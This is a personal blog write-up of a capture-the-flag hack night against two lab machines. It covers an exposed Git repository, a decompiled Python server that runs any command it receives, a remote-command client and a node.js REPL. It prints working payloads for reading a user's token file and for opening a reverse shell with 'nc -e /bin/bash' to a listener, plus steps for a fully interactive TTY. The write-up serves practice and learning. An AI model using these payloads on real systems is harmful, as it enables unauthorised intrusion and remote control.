# Hack Night revisited About half a year ago I participated in one and barely made it. This time things were looking far better, I had a team, learned how to use Burp and knew to spawn reverse shells. What could possibly go wrong? It turns out that no matter how much you prepare, something will always go wrong. I didn't have a USB stick prepared to boot into and my VM didn't like their networking setup, so I had to work from my private machine directly wired up to their network. That wasn't too bad though, with the exception of `dirb` I had all the necessary tools installed. There were six VMs available for further exploration, I concentrated on two while my team mate picked two other ones. # Diego Scanning the default ports shows nginx listening. Opening the IP address in a browser gives us the default page, so `dirb` it is. After a few moments it shows an unexpected hit for `/.git/HEAD`. Did someone really expose their Git repository to the entire world or is there more to it? I mess around for a few minutes with Git syntax to clone a repository using an IP address only, but eventually give up and search the web for a CTF challenge where someone ran into the same issues. It turns out that the problem comes in two variants, with directory listing enabled (in which case one can simply use `wget` to mirror it, then clone from the bare repository into another directory) and disabled (where you have to guess paths and work your way from references). Fortunately someone published their tooling to deal with the latter and put it on GitHub: https://github.com/internetwache/GitTools Using `gitdumper.sh` and `extractor.sh` I've managed recovering two `.pyc` files. Some reverse engineering is required to make sense of these. None of the online tools work, so I research a bit more and discover a usable decompyler: https://pypi.org/project/uncompyle6/ The two files turn out to be minimally obfuscated sources of a client and server program, with most meaningful identifiers replaced by random tokens. Search and replace with symbol matching is plenty to give them meaningful names again, here's the server code: import socket as sock, os from io import StringIO import sys, random, time port = 49152 bufsz = 4096 coding = 'utf-8' mystery_hash = 'bf6cc0a3f45903f4aee77fbbbc5f36b6' def check(user_input): args = user_input.split(':') if args[0] != mystery_hash: return '' if args[1] == 'latency': return '{} ms'.format(random.randint(0, 1000)) print('Param is {}'.format(args[1])) return os.popen(args[1]).read() while True: s = sock.socket(sock.AF_INET, sock.SOCK_STREAM) s.bind(('', port)) s.listen(1) conn, addr = s.accept() while True: data = conn.recv(bufsz) conn.send(bytes(check(data.decode(coding)), coding)) if not data: conn.close() break The client isn't really worth talking about, with the exception of the Tcl/Tk GUI. It connects to the server with the user-provided IP address and sends maintenance-related commands. Nothing in the server's code prevents the client from sending arbitrary commands, so I wrote my own client for easy experimentation: import sys import socket as socket coding = 'utf-8' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = sys.argv[1] port = 49152 mystery_hash = 'bf6cc0a3f45903f4aee77fbbbc5f36b6' cmd = sys.argv[2] bufsz = 4096 s.connect((host, port)) s.send(bytes('{}:{}'.format(mystery_hash, cmd), coding)) data = s.recv(bufsz) print(str(data, coding)) s.close() Obtaining the user flag is trivial, unfortunately I couldn't figure out how to escalate privileges for the root flag. It was time to help out my team mate with a different VM. # Devon As usual, scanning the common ports shows a HTTP server listening. Opening the IP address in a browser doesn't do anything for a while, then finally displays a landscape photo titled "Enjoy the landscape". What a joke. I downloaded the image to check it for steganography and found an EXIF comment with a hexadecimal string. My team mate pointed out there's one more web service listening on port 8001. It's another default node.js application. Eventually we had the idea to use the mystery string as a route and got a page with an input box and submit button. Some experimentation revealed it to be a node.js REPL. Armed with that knowledge, extracting the user flag is as easy as `require('fs').readFileSync('/home/user/token.txt').toString()`. Going from there to a reverse shell is slightly harder, assuming you've started a listener with `nc -lp 1234` on your machine available at `1.2.3.4`, the payload would be `require('child_process').exec('nc -e /bin/bash 1.2.3.4 1234')`. I used the chance to research a bit more on how to improve the reverse shell experience. https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ shows more than the well-known `python -c "import pty; pty.spawn('/bin/bash')"` trick, using `stty` and `reset` you can make tab-completion and `C-c` work again. My take on this looks as follows: - Make sure you're in a bash session (for some reason this doesn't work in zsh) - Set up the listener on the attacker machine: `nc -lp 1234` - Connect to the listener from the victim machine, like by executing `nc -e /bin/bash 1.2.3.4 1234` - Execute the following in the attacker session: `python -c "import pty; pty.spawn('/bin/bash')"` - Background with `C-z` - Perform shell magic with `stty raw -echo` - Foreground with `fg` - Execute `reset` - You have a fully interactive shell now! Like with the other VM I failed to escalate privileges. My team mate found one more flag, but that was it for the evening. # Lessons learned This time things went way better. With a bit of luck we could have gone for a tie because the winning team was only ahead by one root flag. Nevertheless I have some things to do for next time: - Have some post-exploitation scripts ready for enumerating interesting things on the machine and suggesting exploits - Transfer files from and to the machine easily - Practice on systems susceptible to them - Learn to identify suitable exploits